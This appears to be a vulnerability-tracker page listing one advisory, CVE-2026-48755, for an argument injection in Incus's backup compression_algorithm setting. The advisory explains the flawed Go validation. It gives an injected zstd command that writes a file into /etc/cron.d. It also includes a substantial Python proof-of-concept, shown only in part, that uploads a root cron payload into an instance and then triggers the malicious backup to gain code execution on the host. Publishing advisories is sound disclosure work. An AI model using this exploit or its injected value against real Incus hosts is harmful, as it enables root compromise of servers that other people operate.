Threats tagged 'ghsa-v6mj-8pf4-hhw4'
1 threat
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| Critical | 9.9 | EPSS 0.7% | CVE-2026-48755Incusd · Incus has an argument injection in backup compression algorithm leading to AFW and ACE Critical9.9EPSS 0.7%GCVE DatabaseCVE-2026-48755 ### Summary Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. ### Details Incus validates `compression_algorithm` by parsing it into fields and checking only the first token against an allowlist: ```go fields, err := shellquote.Split(value) ... if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) { return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0]) } _, err = exec.LookPath(fields[0]) ``` Extra arguments are not rejected. `compressFile()` then prepends `-c` and passes the remaining user-supplied fields to the compressor: ```go args := []string{"-c"} if len(fields) > 1 { args = append(args, fields[1:]...) } cmd := exec.Command(fields[0], args...) cmd.Stdin = infile cmd.Stdout = outfile ``` With a value like: ```text zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` the daemon executes the equivalent of: ```text zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload ``` ### PoC ``` python3 poc.py \ --insecure --url https://remote-incus:8443 \ --cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \ --instance c01 \ --execute --yes-i-understand-this-writes-host-file ``` The following was generated by an LLM model. ``` #!/usr/bin/env python3 """Short remote Incus backup compression zstd cron RCE PoC. Dry-run is the default. --execute uploads a cron payload into an instance and then asks Incus for a direct backup with a zstd argument-injection compressor: zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- <source> The direct backup may fail after zstd runs; the host file write is the primitive. Use only on an authorized Incus server. """ from __future__ import annotations import argparse import json import os import shlex import sys import urllib.parse from pathlib import PurePosixPath from typing import Any import requests def q(value: str) -> str: return urllib.parse.quote(value, safe="") def api(base: str, endpoint: str, **params: str) -> str: return base.rstrip("/") + endpoint + ("?" + urllib.parse.urlencode(params) if params else "") def project_instance(project: str, instance: str) -> str: return instance if project == "default" else f"{project}_{instance}" def clean_guest_path(path: str) -> str: if not path.startswith("/"): raise ValueError("--guest-path must be absolute") if ".." in PurePosixPath(path).parts: raise ValueError("--guest-path must not contain '..'") return os.path.normpath("/" + path.lstrip("/")).lstrip("/") def source_path(args: argparse.Namespace) -> str: if args.source_host_path: return args.source_host_path return os.path.join( args.incus_dir, "storage-pools", args.pool, args.storage_kind, project_instance(args.project, args.instance), "rootfs", clean_guest_path(args.guest_path), ) def cron(command: str) -> bytes: return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode() def session(args: argparse.Namespace) -> requests.Session: s = requests.Session() s.verify = False if args.insecure else (args.cacert or True) if args.cert or args.key: s.cert = (args.cert, args.key) if args.token: s.headers["Authorization"] = "Bearer " + args.token s.headers["User-Agent"] = "incus-zstd-backup-rce-poc" if args.insecure: requests.packages.urllib3.disable_warnings() # type: ignore[attr-defined] return s def check(resp: requests.Response, what: str) -> requests.Response: if resp.status_code >= 400: try: detail: Any = resp.json() except Exception: detail = resp.text[:2048] raise RuntimeError(f"{what} failed: HTTP {resp.status_code}: {detail}") return resp def upload(s: requests.Session, args: argparse.Namespace, payload: bytes) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/files", project=args.project, path=args.guest_path) headers = { "Content-Type": "application/octet-stream", "X-Incus-type": "file", "X-Incus-write": "overwrite", "X-Incus-uid": "0", "X-Incus-gid": "0", "X-Incus-mode": "0644", } print(f"[*] uploading cron payload to {args.instance}:{args.guest_path}") check(s.post(url, data=payload, headers=headers, timeout=args.timeout), "payload upload") def trigger_backup(s: requests.Session, args: argparse.Namespace, body: dict[str, Any]) -> None: url = api(args.url, f"/1.0/instances/{q(args.instance)}/backups", project=args.project) print("[*] sending direct backup request") resp = s.post( url, data=json.dumps(body).encode(), | GCVE Database |
Page 1 of 1